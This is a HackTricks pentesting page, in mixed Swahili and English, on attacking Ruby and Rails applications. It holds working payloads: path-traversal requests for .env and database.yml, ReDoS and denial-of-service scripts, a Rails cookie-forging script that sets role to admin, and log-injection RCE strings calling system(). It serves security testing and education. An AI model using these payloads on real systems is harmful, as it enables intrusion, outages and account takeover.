Mbinu za Ruby
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kupakia faili hadi RCE
Kama ilivyoelezwa katika this article, kupakia faili .rb katika saraka nyeti kama config/initializers/ kunaweza kupelekea remote code execution (RCE) katika programu za Ruby on Rails.
Tips:
- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g.,
config/initializers/is the classic one). If you find an arbitrary file upload that lands anywhere underconfig/and is later evaluated/required, you may obtain RCE at boot. - Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
What to try during testing
-
Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-
Fuzz
params[:t]andparams[:v]for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. -
If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
-
Remediation/detections
-
If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage +
image_processing+mini_magickand user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.
- Hunt for apps that mount
Rack::Staticinconfig.ruor middleware stacks. Try encoded traversals against static paths, for example:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.
- Mitigation: upgrade Rack; ensure
:rootonly points to a directory of public files and is explicitly set.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
- Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Works against any Rack-based stack (Rails/Sinatra/Hanami/Grape). If fronted by nginx/haproxy with keep-alive, repeat in parallel to exhaust workers.
- Patched by making parser linear; look for
rackgem version <3.0.9.1or <2.2.8.1. In assessments, point out that WAFs rarely block this because the header is syntactically valid.
REXML XML parser ReDoS (CVE-2024-49761)
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., �x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Iwapo mchakato unabaki ukiwa na shughuli kwa sekunde kadhaa na CPU ya worker inaruka ghafla, kuna uwezekano ni nyeti. Shambulio ni low bandwidth na pia linaathiri background jobs ambazo zinapokea XML.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Apps zinazotumia gem ya cgi (chaguo-msingi katika stack nyingi za Rack) zinaweza kuganda kwa header moja hasidi:
CGI::Cookie.parseilikuwa super-linear; huge cookie strings (maelfu ya delimiters) zinachochea tabia ya O(N²).CGI::Util#escapeElementregex iliruhusu ReDoS kwenye HTML escaping.
Masuala yote yamerekebishwa katika cgi 0.3.5.1 / 0.3.7 / 0.4.2. Kwa pentests, tumia header kubwa ya Cookie: au ulete HTML isiyothibitishwa kwa helper code na tazama worker lockup. Changanya na keep-alive ili kuongeza nguvu.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
Gem ya googlesign_in < 1.3.0 (inayotumika kwa Google OAuth kwenye Rails) ilifanya ukaguzi wa same-origin usio kamili kwa parameter ya proceedto. URL mbovu kama proceedto=//attacker.com/%2F.. inapita ukaguzi na kurejesha mtumiaji nje ya tovuti huku ikihifadhi Rails flash/session cookies.
Exploit flow:
- Victim anabonyeza link ya Google Sign-In iliyotengenezwa na attacker.
- Baada ya authentication, gem inamrudisha kwenye domain inayodhibitiwa na attacker, leaking flash notices au data yoyote iliyohifadhiwa katika cookies zilizo scoped kwa wildcard domain.
- Ikiwa app inaweka short-lived tokens au magic links katika flash, hii inaweza kubadilishwa kuwa account takeover.
Wakati wa upimaji, grep Gemfile.lock kwa googlesign_in < 1.3.0 na jaribu malformed proceedto values. Thibitisha kupitia Location header na cookie reflection.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. Hii mara nyingi inasababisha authz bypass ikiwa app inahifadhi roles, user IDs, au feature flags katika cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby to decrypt/forge cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Vidokezo:
- Maombi ya zamani yanaweza kutumia AES-256-CBC na salts `encrypted cookie` / `signed encrypted cookie`, au JSON/Marshal serializers. Rekebisha salts, cipher, na serializer ipasavyo.
- Wakati wa kuathiriwa au ukaguzi, badilisha `secret_key_base` ili kubatilisha cookies zote zilizopo.
## Angalia pia (udhaifu maalum kwa Ruby/Rails)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Wakati app (mara nyingi endpoint rahisi ya Rack/Sinatra/Rails) inafanya zote mbili:
- inaandika string inayoendeshwa na mtumiaji bila mabadiliko, na
- baadaye `load`s faili lenye njia inayoibuliwa kutokana na string hiyo hiyo (baada ya `Pathname#cleanpath`),
Mara nyingi unaweza kufanikisha remote code execution kwa kuchafua log kisha kulazimisha app i `load` faili la log. Misingi muhimu:
- Ruby `load` huteua yaliyomo ya faili lengwa kama Ruby bila kujali nyongeza ya faili. Faili yoyote ya maandishi inayoweza kusomwa na ambayo yaliyomo yanatafsiriwa kama Ruby itatekelezwa.
- `Pathname#cleanpath` inakusanya sehemu za `.` na `..` bila kuwasiliana na filesystem, ikiruhusu path smuggling: takataka inayodhibitiwa na mshambuliaji inaweza kuongezwa mwanzoni kwa ajili ya logging wakati path iliyosafishwa bado inaonyesha faili iliyokusudiwa kutekelezwa (kwa mfano, `../logs/error.log`).
### Mfano mdogo wa udhaifu
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Kwa nini log inaweza kuwa na Ruby halali
Logger huandika mistari za prefix kama:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Katika Ruby, # huanzisha maoni na 9/2/2025 ni hesabu tu. Ili kuingiza valid Ruby code unahitaji:
- Anza payload yako kwenye mstari mpya ili isiwe imekomentiwa na
#kwenye mstari wa INFO; tuma leading newline (\nor%0A). - Funga
[iliyobaki (dangling) iliyotangazwa na mstari wa INFO. Njia ya kawaida ni kuanza na]na, hiari, kuongeza][0]=1ili parser iendelee vizuri. - Kisha weka Ruby yoyote (mfano,
system(...)).
Mfano wa kile kitakachomalizika katika log baada ya ombi moja lenye param iliyotengenezwa:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Kusafirisha string moja inayorekodi code na pia inafikia njia ya log
Tunataka string moja inayodhibitiwa na mshambulizi ambayo:
- inapoandikwa raw, ina Ruby payload yetu, na
- inapopitishwa kupitia
Pathname.new(<input>).cleanpath, inatatua kuwa../logs/error.logililoadinayofuata itekeleze faili ya log iliyoharibishwa sasa hivi.
Pathname#cleanpath inapuuzia schemes na huganda sehemu za traversal, hivyo yafuatayo hufanya kazi:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
#kabla ya://inahakikisha Ruby inapuuza tail wakati log inapotekelezwa, wakaticleanpathbado inapunguza kiambishi hadi../logs/error.log.- Newline ya mbele inatoka kwenye mstari wa INFO;
]inafunga mabano yaliyopotoka;][0]=1inamridhisha parser.
End-to-end exploitation
- Tuma yafuatayo kama jina la backup script (URL-encode newline ya kwanza kama inahitajika
%0A):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- App inaandika raw string yako kwenye
logs/error.log. - App inahesabu
cleanpathambayo inatatua kuwa../logs/error.logna inaitaloadjuu yake. - Ruby inatekeleza code uliyoweka katika log.
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (char ya kwanza ni newline):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Marejeo
- Tangazo la Usalama la Rails: CVE-2025-24293 Active Storage unsafe transformation methods (imerekebishwa katika 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- Ushauri wa GitHub: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Nyaraka za Ruby Pathname.cleanpath
- Logger ya Ruby
- Jinsi Ruby load inavyofanya kazi
- Ushauri wa Rack multipart ReDoS (CVE-2024-25126)
- Ushauri za usalama za Ruby kwa CGI / URI (CVE-2025-27219/27220/27221)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


